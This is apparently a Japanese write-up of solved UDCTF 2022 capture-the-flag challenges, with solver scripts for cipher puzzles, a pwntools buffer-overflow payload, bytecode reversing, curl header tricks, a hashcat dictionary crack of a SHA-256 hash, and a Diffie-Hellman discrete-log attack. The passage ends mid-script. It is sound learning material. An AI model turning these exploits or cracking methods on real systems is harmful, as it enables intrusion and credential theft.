この大会は2022/10/29 4:00(JST)~2022/10/31 4:00(JST)に開催されました。
今回もチームで参戦。結果は11660点で376チーム中8位でした。
自分で解けた問題をWriteupとして書いておきます。
Welcome Flag (MISC)
Discordに入り、#rulesチャネルのメッセージを見ると、フラグが書いてあった。
UDCTF{w3lc0m3_to_the_UDCTF}
Mountain Math (MISC)
計算結果をASCIIコードとしてデコードして、結合する。
>>> chr(42+7) '1' >>> chr(104+5) 'm' >>> chr(27+23) '2' >>> chr(47+62) 'm' >>> chr(16+36) '4' >>> chr(75+39) 'r' >>> chr(57+59) 't' >>> chr(34+17) '3' >>> chr(95+19) 'r' >>> chr(172-56) 't' >>> chr(187-83) 'h' >>> chr(137-85) '4' >>> chr(340-230) 'n' >>> chr(17*6) 'f' >>> chr(7*7) '1' >>> chr(34*3) 'f' >>> chr(29*4) 't' >>> chr(13*8) 'h' >>> chr(309//3) 'g' >>> chr(456//4) 'r' >>> chr(312//6) '4' >>> chr(1000//10) 'd' >>> chr(1026//9) 'r'
UDCTF{1m_2m4rt3r_th4n_f1fth_gr4dr}
Wordles with Dads - KID MODE (MISC)
サーバの処理概要は以下の通り。
・lngstr: jokes.txtの内容 ・jokes: lngstrの1行ごとの要素の配列(各要素は英大文字で構成) ・answer: jokesからランダムに選択 ・problem: {"answer": answer, "guesses": 0} ・problem["guesses"]が6より小さい間、以下繰り返し ・guess: 入力 ・makeguess(guess,problem) ・result = checkguess(problem["answer"], guess) ・長さが異なる場合Falseを返却 ・guessに英大文字でない文字がある場合、Falseを返却 ・truth = histomaker(problem["answer"]) ・英大文字の辞書で、インデックスを追加したものを返却 ・guess = histomaker(guess_in) ・英大文字の辞書で、インデックスを追加したものを返却 ・correct = [] ・position = [] ・同じインデックスで同じ文字があれば、correctに追加 ・実際のインデックスの長さの方が一致したものより長い場合は、positionに追加 ・correctとpositionをソート ・{"correct": correct, "position": position}を返却 ・correctとanswerの長さが一致した場合、フラグを表示して終了 ・problem["guesses"] += 1 ・problem["guesses"]が6以上の場合、終了 ・resultを表示
ここで使われているjokes.txtがないかを検索すると、以下のページが見つかった。
https://gist.github.com/cheehieu/8b2185c2e52604598dadff177ce7576a/
print("Jokes are Upperclass. Thanks to icanhazdadjoke.com!")に書かれている内容からも一致する。icanhazdadjoke_scraper.pyをダウンロードして、Python2で実行し、icanhazdadjoke_jokes.txtを作成する。
これを元に、英大文字のみで、文字列長順に並べ、確認しやすいリストを作成する。
#!/usr/bin/env python3 import string with open('icanhazdadjoke_jokes.txt', 'r', encoding="utf-8") as f: lines = f.read().splitlines() words = [] for line in lines: word = '' for c in line: if c in string.ascii_letters: word += c.upper() if len(word) > 0: words.append(word) words.sort(key=len) for word in words: print(word)
あとは質問に合う答えを入力して答えていけばよい。
$ nc 0.cloud.chals.io 29788 Jokes are Upperclass. Thanks to icanhazdadjoke.com! WELCOME TO DAD JOKE WORDLE: Your joke is 50 letters long. It starts with WH Guess? > WHYDIDTHEKIDCROSSTHEPLAYGROUNDTOGETTOTHEOTHERSLIDE {'correct': [0, 1, 2, 3, 4, 5, 6, 7, 8, 10, 13, 33, 34, 36, 44, 47, 49], 'position': [9, 11, 14, 15, 17, 18, 19, 22, 24, 25, 26, 28, 30, 31, 32, 35, 38, 39, 40, 43]} Guesses used: 1 Guess? > WHYDIDTHEMINERGETFIREDFROMHISJOBHETOOKITFORGRANITE You win the flag is UDCTF{S000_iPh0n3_ch4rg3rs_c4ll_3m_APPLE_JU1C3!}
UDCTF{S000_iPh0n3_ch4rg3rs_c4ll_3m_APPLE_JU1C3!}
MCU - Geoguesser OSINT - Historical Ciphers (GRUMBOT)
写真を見つつ、鍵を推測しながら、Vigenere暗号としてhttps://www.dcode.fr/vigenere-cipherで復号する。鍵は"PLAYLANDPARK"で復号できた。
UDCTF{1t_wa5_tr1sh_wa1ker_a11_a10ng}
Pokémon - RSA - OSINT (GRUMBOT)
1文字ずつ暗号化しているので、ブルートフォースで復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * BLOCK = 1024 // 8 e = 65537 with open('output', 'rb') as f: data = f.read() n = bytes_to_long(data[:BLOCK]) encs = [bytes_to_long(data[i:i+BLOCK]) for i in range(BLOCK, len(data), BLOCK)] flag = '' for c in encs: for code in range(32, 127): if pow(code, e, n) == c: flag += chr(code) break print(flag)
復号結果は以下の通り。
The flag used teleport and fleed. Some new reports show sightings at @PokemonSpoopy
https://twitter.com/PokemonSpoopyを見てみるが、フラグは削除されたようだ。Internet Archiveで2022/10/21のものを見てみる。
https://web.archive.org/web/20221021194547/https://twitter.com/PokemonSpoopy
以下のツイートがある。
b'\x18-.=-\x02\x12%YX\x1d4\r\x0c=ZX6\x07I\x03~6?\\*&\x13}\x1b2\x01\nHD}\x1e^Z\x05\x04'
"Mimikyu"を鍵にしてXORで復号する。
#!/usr/bin/env python3 enc = b'\x18-.=-\x02\x12%YX\x1d4\r\x0c=ZX6\x07I\x03~6?\\*&\x13}\x1b2\x01\nHD}\x1e^Z\x05\x04' key = b'Mimikyu' flag = '' for i in range(len(enc)): flag += chr(enc[i] ^ key[i % len(key)]) print(flag)
UDCTF{gh05t_typ35_l0v3_R5A_f0r_ha110w33n}
Intro to PWN 1 (PWN)
$ file pwnme pwnme: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ef08c550b5de37587964f8388eb29e1f87c43ff4, for GNU/Linux 3.2.0, not stripped $ checksec.sh --file pwnme RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH pwnme
BOFでoverwrite_meを0x1337で上書きすればよい。配布されたファイルでは標準出力後にペイロードを送る必要があったが、ncで接続したサーバでは標準出力はなかった。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('0.cloud.chals.io', 19595) else: p = process('./pwnme') payload = b'A' * 0x100 payload += b'B' * 12 payload += p64(0x1337) #data = p.recvline().rstrip() #print(data) print(payload) p.sendline(payload) p.interactive()
実行結果は以下の通り。
[+] Opening connection to 0.cloud.chals.io on port 19595: Done b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB7\x13\x00\x00\x00\x00\x00\x00' [*] Switching to interactive mode $ ls flag.txt pwnme $ cat flag.txt UDCTF{ez_pz_but_we_all_start_somewhere} $ [*] Closed connection to 0.cloud.chals.io port 19595
UDCTF{ez_pz_but_we_all_start_somewhere}
Perhaps You Can (REV)
問題のコードをhexデコードすると、pycファイルになる。
#!/usr/bin/env python3 code = '550d0d0a00000000b7e8566370030000e300000000000000000000000000000000080000004000000073300200006500640083015a0165026501830164016b02731c650364028301010065046501a005a100830164036b02733465036402830101006501640464058502190064066b02734c650364028301010065016407190064086b027360650364028301010065066501640919008301640a1800650665016405190083016b02738465036402830101006501640b190065076508650965066501640c19008301830164046404640785031900830183016b0273b6650364028301010065066501640b19008301640d180065066501640d190083016b0273da650364028301010065066501640e190083015a0a65066501640f190083015a0b650a650b170064106b02900173086503640283010100650c650a650b830264116b0090017320650364028301010065016412641385021900a005a100a00da10064146b029001734265036402830101006501641319006501641519006b029001735c65036402830101006501641519006501641619006b029001737665036402830101006506650164171900830165066501641819008301140064196b029001739c650364028301010065066501641a1900830165066501641b19008301140065066501641c190083011400641d6b02900173ce6503640283010100650e641ea00f6510641f64208400650164216422850219008302a10183015a116511a012a1000100641ea00f6511a10164236b029002730e650364028301010065016424190064256b0290027324650364028301010065136426830101006404530029277a07696e7075743e20e926000000e90100000069d20d00004ee9060000007a0655444354467be9fffffffffa017de905000000e902000000e907000000e903000000e909000000e908000000e90a000000e9eb000000e977000000e90b000000e9180000005a1a3333356636323333363536653566363237393734373433333665e91b000000e91f000000e919000000e91a00000069522e0000e91c000000e91d000000e91e0000006960630900da0063010000000000000000000000010000000300000043000000730c000000740074017c0083018301530029014e2902da03737472da036f72642901da0178a900721c000000fa087472796d652e7079da083c6c616d6264613e20000000f300000000721e000000e920000000e9250000005a0e3030303131313131313132353537e922000000da01347a07596f752077696e2914da05696e707574da03746d70da036c656eda0465786974da0373756dda06656e636f6465721a000000da03636872da03696e747219000000721b000000da0179da036d6178da03686578da046c697374da046a6f696eda036d6170da027979da04736f7274da057072696e74721c000000721c000000721c000000721d000000da083c6d6f64756c653e01000000734a00000008010c01080110010801100108010c0108011c0108012a0108011c0108010c010c010e010801100108011a01080112010801120108011e0108012a01080120010801100108010e010801' code = bytes.fromhex(code) with open('chall.pyc', 'wb') as f: f.write(code)
デコンパイルする。
$ uncompyle6 chall.pyc # uncompyle6 version 3.8.0 # Python bytecode 3.8.0 (3413) # Decompiled from: Python 3.6.9 (default, Jun 29 2022, 11:45:57) # [GCC 8.4.0] # Embedded file name: tryme.py # Compiled at: 2022-10-25 04:34:15 # Size of source mod 2**32: 880 bytes tmp = input('input> ') if not len(tmp) == 38: exit(1) if not sum(tmp.encode()) == 3538: exit(1) if not tmp[:6] == 'UDCTF{': exit(1) if not tmp[(-1)] == '}': exit(1) if not ord(tmp[5]) - 2 == ord(tmp[6]): exit(1) if not tmp[7] == chr(int(str(ord(tmp[3]))[::-1])): exit(1) if not ord(tmp[7]) - 9 == ord(tmp[9]): exit(1) x = ord(tmp[8]) y = ord(tmp[8]) if not x + y == 235: exit(1) if not max(x, y) < 119: exit(1) if not tmp[11:24].encode().hex() == '335f6233656e5f62797474336e': exit(1) if not tmp[24] == tmp[27]: exit(1) if not tmp[27] == tmp[31]: exit(1) if not ord(tmp[25]) * ord(tmp[26]) == 11858: exit(1) if not ord(tmp[28]) * ord(tmp[29]) * ord(tmp[30]) == 615264: exit(1) yy = list(''.join(map(lambda x: str(ord(x)), tmp[32:37]))) yy.sort() if not ''.join(yy) == '00011111112557': exit(1) if not tmp[34] == '4': exit(1) print('You win') # okay decompiling chall.pyc
上からtmpの条件を見ていく。
・長さは38バイト ・ASCIIコードの合計は3538 ・最初の6バイトは'UDCTF{' ・最後の1バイトは'}' ・ord(tmp[6])はord(tmp[5] - 2) ・tmp[7]は chr(int(str(ord(tmp[3]))[::-1])) ・ord(tmp[7]) - 9 == ord(tmp[9]) ・ord(tmp[8]) + ord(tmp[10]) = 235 ・max(ord(tmp[8]), ord(tmp[10])) < 119 ・tmp[11:24].encode().hex() == '335f6233656e5f62797474336e' ・tmp[24] == tmp[27] == tmp[31] ・ord(tmp[25]) * ord(tmp[26]) == 11858 ・ord(tmp[28]) * ord(tmp[29]) * ord(tmp[30]) == 615264 ・tmp[32:37]の各文字のASCIIコードを1バイトごとにソートすると'00011111112557' 4 >>> chr(ord('{') - 2) 'y' →tmp[6] = 'y' >>> chr(int(str(ord('T'))[::-1])) '0' →tmp[7] = '0' >>> chr(ord('0') - 9) "'" →tmp[9] = "'" ord(tmp[8])とord(tmp[10])の組み合わせは117, 118しかない。 >>> chr(117) 'u' >>> chr(118) 'v' 順不同だが、周り文字で意味合い的に以下のようになる。 tmp[8] = 'u' tmp[10] = 'v' >>> bytes.fromhex('335f6233656e5f62797474336e') b'3_b3en_bytt3n' →tmp[11:24] = '3_b3en_bytt3n' tmp[24] == tmp[27] == tmp[31]はおそらく'_' ord(tmp[25])とord(tmp[26])の組み合わせは98, 121しかない。 >>> chr(98) 'b' >>> chr(121) 'y' 順不同だが、周り文字で意味合い的に以下のようになる。 tmp[25] = 'b' tmp[26] = 'y'
ord(tmp[28]), ord(tmp[29]), ord(tmp[30])の組み合わせをブルートフォースで一覧で出す。
#!/usr/bin/env python3 for c28 in range(32, 127): for c29 in range(32, 127): for c30 in range(32, 127): if c28 * c29 * c30 == 615264: print(chr(c28) + chr(c29) + chr(c30))
実行結果は以下の通り。
3ht 3th 4ft 4tf :fh :hf DNt DWh DhW DtN NDt NtD WDh WhD f4t f:h fh: ft4 h3t h:f hDW hWD hf: ht3 t3h t4f tDN tND tf4 th3
一番下の"th3"が一番合っていそう。
ASCIIコードの合計値を確認しながら、tmp[32:37]の組み合わせを考える。
>>> sum([ord(c) for c in 'UDCTF{y0u\'v3_b3en_bytt3n_by_th3_4}']) 3105
'4'を除く4つの文字のASCIIコードの合計は433。
#!/usr/bin/env python3 import itertools chars = list('00011157') for c in itertools.permutations(chars): c1 = int('1' + c[0] + c[1]) c2 = int('1' + c[2] + c[3]) c3 = int('1' + c[4] + c[5]) c4 = int('1' + c[6] + c[7]) if c1 + c2 + c3 + c4 == 433: print(chr(c1) + chr(c2) + chr(c3) + chr(c4))
パターンをいろいろ見ていたら、sn4keが合いそう。
>>> chr(115) 's' >>> chr(110) 'n' >>> chr(117) 'k' >>> chr(101) 'e' 1111111111222222222233333333 01234567890123456789012345678901234567 UDCTF{y0u'v3_b3en_bytt3n_by_th3_sn4ke}
UDCTF{y0u'v3_b3en_bytt3n_by_th3_sn4ke}
Headspace (WEB)
Refererをflag.orgにすれば良さそう。
$ curl -H "Referer: flag.org" https://bluehens-headspace.chals.io/ Access Denied! You are not using a valid agent. Currently you are using: curl/7.81.0 Valid Agents: stealthmodeactive
今度は追加でUserAgentをstealthmodeactiveにする。
$ curl -A "stealthmodeactive" -H "Referer: flag.org" https://bluehens-headspace.chals.io/ Hmmm you seem to be using the wrong protocol. This server could use a PATCH...
今度は追加でPATCHメソッドにする。
$ curl -X PATCH -A "stealthmodeactive" -H "Referer: flag.org" https://bluehens-headspace.chals.io/ Nice! Hopefully you learned a thing or two about HTTP headers :) UDCTF{0uts1d3_t4h_m1nd}
UDCTF{0uts1d3_t4h_m1nd}
Audio Salad (FORENSICS)
Audacityで開き、スペクトログラムを見る。
スペクトログラムは以下のように見える。
49 52 51 48 54 7b 31 33 6f 74 5f 61 33 5f 6f 31 30 62 33 5f 70 66 30 5f 46 35 55 6b 68 4e 7d
デコードする。
>>> s = '49 52 51 48 54 7b 31 33 6f 74 5f 61 33 5f 6f 31 30 62 33 5f 70 66 30 5f 46 35 55 6b 68 4e 7d'.split(' ') >>> ''.join([chr(int(c,16)) for c in s]) 'IRQHT{13ot_a3_o10b3_pf0_F5UkhN}'
シーザー暗号と推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。
Rotation 14: UDCTF{13af_m3_a10n3_br0_R5GwtZ}
UDCTF{13af_m3_a10n3_br0_R5GwtZ}
Two Minute Challenge (CRYPTO)
CyberChefでの変換順が書いてある。ただし、XOR鍵がわからない。フラグが"UDCTF{"から始まることを前提にXOR前のデータの先頭と、XOR後のデータから鍵を求め、復号する。
#!/usr/bin/env python3 from base64 import * import string ct = '61217660734247595d165c47545e524049307077617748455c0c4508465058544d1860737761711a400d5e125c4a525b511c4e67707667764e155d5d465040535f004f1c617d7065721e405c5c465e4a550e531d496c7772617f4e405d5c405b47055c044f1f62257730724f41515e4b5d16555f50484e65702662274d405e51470c46555d524a4e607d7660734a475a5d165e12545e56484933707762724d4c5c0c475e475458574d186325766d7142400d5c475f40525950404a34727067774f115e08465840505f034d496071746d721e420c5d175a43540a504d4860732260234f405d50440847075e544a196620' ct = bytes.fromhex(ct) flag_head = 'UDCTF{' enc_flag_head = b64encode(flag_head.encode()) enc_flag_head = enc_flag_head.hex() enc_flag_head = b64encode(enc_flag_head.encode())[:-4] enc_flag_head = enc_flag_head.hex().encode() key = '' for i in range(len(enc_flag_head)): key += chr(ct[i] ^ enc_flag_head[i]) key = key[:key.index('}') + 1] print('[+] key:', key) pt = b'' for i in range(len(ct)): pt += bytes([ct[i] ^ ord(key[i % len(key)])]) pt = bytes.fromhex(pt.decode()) pt = b64decode(pt) pt = bytes.fromhex(pt.decode()) flag = b64decode(pt).decode() print('[*] flag:', flag)
実行結果は以下の通り。
[+] key: UDCTF{thisisakey} [*] flag: UDCTF{w3_m4de_th1s_1n_2_minute5!} || >| <b>UDCTF{w3_m4de_th1s_1n_2_minute5!}</b> |< * Two Minute Challenge Pt. 2 (CRYPTO) スペース区切りで、辞書の2つのワードのハッシュが与えられているので、そのワードを答える問題。 hashcatでクラックする。 >|| >hashcat -m 1400 -a 1 -j "$ " hash.txt dictionary.txt dictionary.txt hashcat (v6.2.4) starting OpenCL API (OpenCL 3.0 ) - Platform #1 [Intel(R) Corporation] ============================================================= * Device #1: Intel(R) UHD Graphics 630, 3200/6484 MB (1621 MB allocatable), 24MCU Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Dictionary cache built: * Filename..: dictionary.txt * Passwords.: 187632 * Bytes.....: 1852449 * Keyspace..: 187632 * Runtime...: 0 secs Dictionary cache built: * Filename..: dictionary.txt * Passwords.: 187632 * Bytes.....: 1852449 * Keyspace..: 187632 * Runtime...: 0 secs Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Optimizers applied: * Zero-Byte * Early-Skip * Not-Salted * Not-Iterated * Single-Hash * Single-Salt * Raw-Hash ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits. Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled. Host memory required for this attack: 1475 MB Dictionary cache built: * Filename..: dictionary.txt * Passwords.: 187632 * Bytes.....: 1852449 * Keyspace..: 35205767424 * Runtime...: 0 secs [s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => Session..........: hashcat Status...........: Running Hash.Mode........: 1400 (SHA2-256) Hash.Target......: 0037bf7c229d58a1fdb2eca0276f2bc20e2094a91c010e42a56...7a4913 Time.Started.....: Sat Oct 29 11:55:34 2022 (19 secs) Time.Estimated...: Sat Oct 29 12:08:26 2022 (12 mins, 33 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (dictionary.txt), Left Side Guess.Mod........: File (dictionary.txt), Right Side Speed.#1.........: 45555.7 kH/s (7.84ms) @ Accel:2 Loops:32 Thr:256 Vec:1 Recovered........: 0/1 (0.00%) Digests Progress.........: 874512384/35205767424 (2.48%) Rejected.........: 0/874512384 (0.00%) Restore.Point....: 0/187632 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:71168-71200 Iteration:0-32 Candidate.Engine.: Device Generator Candidates.#1....: aa hackmatack -> banyans hadji [s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => Session..........: hashcat Status...........: Running Hash.Mode........: 1400 (SHA2-256) Hash.Target......: 0037bf7c229d58a1fdb2eca0276f2bc20e2094a91c010e42a56...7a4913 Time.Started.....: Sat Oct 29 11:55:34 2022 (52 secs) Time.Estimated...: Sat Oct 29 12:08:32 2022 (12 mins, 6 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (dictionary.txt), Left Side Guess.Mod........: File (dictionary.txt), Right Side Speed.#1.........: 45199.5 kH/s (7.87ms) @ Accel:2 Loops:32 Thr:256 Vec:1 Recovered........: 0/1 (0.00%) Digests Progress.........: 2370502656/35205767424 (6.73%) Rejected.........: 0/2370502656 (0.00%) Restore.Point....: 12288/187632 (6.55%) Restore.Sub.#1...: Salt:0 Amplifier:5280-5312 Iteration:0-32 Candidate.Engine.: Device Generator Candidates.#1....: banzai analemmas -> cataractous analogousness [s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => Session..........: hashcat Status...........: Running Hash.Mode........: 1400 (SHA2-256) Hash.Target......: 0037bf7c229d58a1fdb2eca0276f2bc20e2094a91c010e42a56...7a4913 Time.Started.....: Sat Oct 29 11:55:34 2022 (1 min, 16 secs) Time.Estimated...: Sat Oct 29 12:08:29 2022 (11 mins, 39 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (dictionary.txt), Left Side Guess.Mod........: File (dictionary.txt), Right Side Speed.#1.........: 45394.8 kH/s (7.91ms) @ Accel:2 Loops:32 Thr:256 Vec:1 Recovered........: 0/1 (0.00%) Digests Progress.........: 3445948416/35205767424 (9.79%) Rejected.........: 0/3445948416 (0.00%) Restore.Point....: 12288/187632 (6.55%) Restore.Sub.#1...: Salt:0 Amplifier:92800-92832 Iteration:0-32 Candidate.Engine.: Device Generator Candidates.#1....: banzai looming -> cataractous loose 0037bf7c229d58a1fdb2eca0276f2bc20e2094a91c010e42a564fcc0b07a4913:coven salols Session..........: hashcat Status...........: Cracked Hash.Mode........: 1400 (SHA2-256) Hash.Target......: 0037bf7c229d58a1fdb2eca0276f2bc20e2094a91c010e42a56...7a4913 Time.Started.....: Sat Oct 29 11:55:34 2022 (2 mins, 23 secs) Time.Estimated...: Sat Oct 29 11:57:57 2022 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (dictionary.txt), Left Side Guess.Mod........: File (dictionary.txt), Right Side Speed.#1.........: 44270.7 kH/s (7.88ms) @ Accel:2 Loops:32 Thr:256 Vec:1 Recovered........: 1/1 (100.00%) Digests Progress.........: 6377963520/35205767424 (18.12%) Rejected.........: 0/6377963520 (0.00%) Restore.Point....: 24576/187632 (13.10%) Restore.Sub.#1...: Salt:0 Amplifier:143744-143776 Iteration:0-32 Candidate.Engine.: Device Generator Candidates.#1....: cataracts salol -> cricks salsas Started: Sat Oct 29 11:55:21 2022 Stopped: Sat Oct 29 11:57:58 2022
UDCTF{coven_salols}
My First XOR Problem (CRYPTO)
英子文字(0x61-0x7a)の10バイトの16進数表記文字列がXORの鍵になっている。フラグが"UDCTF{"から始まることを前提に鍵を推測しながら復号する。
最終的なコードは以下の通り。
#!/usr/bin/env python3 with open('enc', 'rb') as f: enc = f.read().rstrip() flag_head = 'UDCTF{' k = [] for i in range(len(flag_head)): k.append(chr(ord(flag_head[i]) ^ enc[i])) #### let all 6x #### k += ['6', '*'] * 7 #### guess #### k[6] = '7' k[7] = chr(ord('0') ^ enc[7]) k[8] = '7' k[16] = '7' k[9] = chr(ord('_') ^ enc[9]) k[11] = chr(ord('5') ^ enc[11]) k[13] = chr(ord('t') ^ enc[13]) k[15] = chr(ord('3') ^ enc[15]) k[17] = chr(ord('b') ^ enc[17]) k[19] = chr(ord('5') ^ enc[19]) print('[+] key:', ''.join(k)) flag = '' for i in range(len(enc)): if k[i % len(k)] != '*': flag += chr(enc[i] ^ ord(k[i % len(k)] )) else: flag += '*' print('[*] flag:', flag)
このコードの実行結果は以下の通り。
[+] key: 666676797368616f7a69 [*] flag: UDCTF{X0R_i5_th3_b35t}
UDCTF{X0R_i5_th3_b35t}
Oracle (CRYPTO)
スクリプトの処理概要は以下の通り。
・const flag = 'U2FsdGVkX19+39o87YO7Zj+D9Og1WLYWUMqboh+IWypf1plXoTmOcBysQuPa8wye' ■/ ・メッセージ表示 ■/flag ・flagを表示 ■/ask ・メッセージ表示 ■/ask/:magic ・:magicで指定した文字列をAES暗号化する。 ・コンソールにエラーメッセージ'AES (ECB, PKCS7) Internal Error: Encryption error!'を出力 ・コンソールにエラーメッセージ'Leaked ?'を出力
デベロッパーツールのコンソールで確認する。
https://bluehens-oracle.chals.io/ask/0 Leaked t, index 16 https://bluehens-oracle.chals.io/ask/1 Leaked h, index 17 https://bluehens-oracle.chals.io/ask/2 Leaked a, index 18 https://bluehens-oracle.chals.io/ask/3 Leaked t, index 19 https://bluehens-oracle.chals.io/ask/4 Leaked _, index 20 https://bluehens-oracle.chals.io/ask/5 Leaked i, index 21 https://bluehens-oracle.chals.io/ask/6 Leaked s, index 22 https://bluehens-oracle.chals.io/ask/7 Leaked _, index 23 https://bluehens-oracle.chals.io/ask/8 Leaked w, index 24 https://bluehens-oracle.chals.io/ask/9 Leaked o, index 25 https://bluehens-oracle.chals.io/ask/: Leaked n, index 26 https://bluehens-oracle.chals.io/ask/; Leaked d, index 27 https://bluehens-oracle.chals.io/ask/< Leaked e, index 28 https://bluehens-oracle.chals.io/ask/= Leaked r, index 29 https://bluehens-oracle.chals.io/ask/> Leaked :, index 30 https://bluehens-oracle.chals.io/ask/%3f Leaked ), index 31 https://bluehens-oracle.chals.io/ask/@ Leaked a, index 0 https://bluehens-oracle.chals.io/ask/A Leaked _, index 1 https://bluehens-oracle.chals.io/ask/B Leaked w, index 2 https://bluehens-oracle.chals.io/ask/C Leaked o, index 3 https://bluehens-oracle.chals.io/ask/D Leaked n, index 4 https://bluehens-oracle.chals.io/ask/E Leaked d, index 5 https://bluehens-oracle.chals.io/ask/F Leaked e, index 6 https://bluehens-oracle.chals.io/ask/G Leaked r, index 7 https://bluehens-oracle.chals.io/ask/H Leaked f, index 8 https://bluehens-oracle.chals.io/ask/I Leaked u, index 9 https://bluehens-oracle.chals.io/ask/J Leaked l, index 10 https://bluehens-oracle.chals.io/ask/K Leaked _, index 11 https://bluehens-oracle.chals.io/ask/L Leaked k, index 12 https://bluehens-oracle.chals.io/ask/M Leaked e, index 13 https://bluehens-oracle.chals.io/ask/N Leaked y, index 14 https://bluehens-oracle.chals.io/ask/O Leaked _, index 15
リークした文字をインデックス順に並べる。
a_wonderful_key_that_is_wonder:)
これをkeyにしてフラグを復号する。
var CryptoJS = require('crypto-js'); var AES = require('crypto-js/aes'); var ECBMode = require('crypto-js/mode-ecb'); var PKCS7 = require('crypto-js/pad-pkcs7'); var enc = 'U2FsdGVkX19+39o87YO7Zj+D9Og1WLYWUMqboh+IWypf1plXoTmOcBysQuPa8wye'; var key = 'a_wonderful_key_that_is_wonder:)'; var flag = AES.decrypt(enc, key, {mode: ECBMode, padding: PKCS7}); console.log(flag.toString(CryptoJS.enc.Utf8));
UDCTF{th3_l5angu6e_1s_r2w_m2th}
Lovers' Quarrel (CRYPTO)
スクリプトの処理概要は以下の通り。
■クライアント ・g = 2 ・s: 512ビット素数 ・p: 固定値 ・url: 環境変数 MESSAGING_SERVER の値 ・partner: 環境変数 PARTNER の値 ・id: 環境変数 CHAT_ID の値 ・conversation_file: 環境変数 CONVERSATION の値 ・conversation_starter: 環境変数 NAME の値が"Eve"である場合True、そうでない場合False ・DHSession(id, g, s, p, partner, url, conversation_file, conversation_starter) ・session.shared_secret = None ・session.secret = s ・session.modulus = p ・session.exp = pow(g, s, p) ・session.partner = partner ・session.id = id ・session.url = url ・session.conversation_starter = conversation_starter ・session.conversation_file = conversation_file ・session.__ctr = 0 ・session.post(f"{url}/sessions/{id}",data=json.dumps({"exp": exp}),headers={"Content-Type": "application/json"}) ・session.__get_key() ・以下5回繰り返し ・res = self.get(f"{url}/sessions/{partner}/key") ・res.okがTrueの場合、 ・session.shared_secret = pow(res.json()["exp"], s, p).to_bytes(128,"big")[:16] ・終了 ■サーバ □/sessions/<client> [POST] :create_session(client: str) ・exp = js["exp"] ・active_sessions[client] = DHSession(client,exp,[]) ・"Started session for user {client}"をログ出力 □/session/<client>/key :get_key(client: uuid.UUID) ・active_sessions[client].expをログ出力 □/sessions/<client>/messages/<index> :get_message(client: uuid.UUID, index: str) ・"Someone queried message {index}: {message}"をログ出力
一方の公開鍵は以下の通り。
0x3def414f61737a47895419ec73fc1eed713c954debfefd7c5c4fb2893dfee959744fa9fc9eabf0a5f6e86b476c952745608b1e513260d872c456b1ca58b54252d69c448ceb08c6700351417009883bb83a5223fa521c6d0142dbf3bce0dd2c050decc6ddf3e0a1b3956468ee9a8e7078fa3614282d34b44ae0137d72997d
もう一方の公開鍵は以下の通り。
0xb634ed07578e7c5b2c06373f2622e71fa32b06ef77022e2ed89df68af194421bb2627fc49c49f6911111c46042b466ac1b6914552dca607a045c681842ad6da0f5ad10e91ecd8d761d7e440d0b7f0cc5c2aa1d595f9c6704519a5c8203eb252dc29743773538ef960f97005143d4cee38837aaf1cc98ead678d44c77002d
sageに計算させれば、片方の秘密鍵がわかり、共有鍵を算出できる。あとはやり取りしている、ivとmsgからAES暗号を復号していけばよい。
#!/usr/bin/env sage from Crypto.Util.Padding import unpad from Crypto.Cipher import AES g = 2 p = 0xf6c6d4d9e03b8d02e7a525366e6a811d8558fbde1368904742a82e376b2511b48108be0dddb3fbb8fefb22cd66e158ac684a98e09d122ce37cda9574f2fc62f6fb1b99d6663a8db8380391b35653b87991279b3a296a774d18ec18d42169ee67d4f21ba9b3f39cdced3a0584177aa6639a70f48622b719a4952ddb4decf3 pub1 = 0x3def414f61737a47895419ec73fc1eed713c954debfefd7c5c4fb2893dfee959744fa9fc9eabf0a5f6e86b476c952745608b1e513260d872c456b1ca58b54252d69c448ceb08c6700351417009883bb83a5223fa521c6d0142dbf3bce0dd2c050decc6ddf3e0a1b3956468ee9a8e7078fa3614282d34b44ae0137d72997d pub2 = 0xb634ed07578e7c5b2c06373f2622e71fa32b06ef77022e2ed89df68af194421bb2627fc49c49f6911111c46042b466ac1b6914552dca607a045c681842ad6da0f5ad10e91ecd8d761d7e440d0b7f0cc5c2aa1d595f9c6704519a5c8203eb252dc29743773538ef960f97005143d4cee38837aaf1cc98ead678d44c77002d R = IntegerModRing(p) priv1 = discrete_log(R(pub1), R(g)) priv2 = discrete_log(R(pub2), R(g)) assert pow(g, priv1, p) == pub1 assert pow(g, priv2, p) == pub2 shared_secret = int(pow(pub1, priv2, p)).to_bytes(128, 'big')[:16] assert shared_secret == int(pow(pub2, priv1, p)).to_bytes(128, 'big')[:16] with open('log.txt', 'r') as f: lines = f.read().splitlines() for line in lines: if '|' in line: msg = line.split(' | ')[1] if msg.startswith('INFO:root:Someone queried message '): data = eval(': '.join(msg.split(': ')[1:])) message = bytes.fromhex(data['message']) iv = 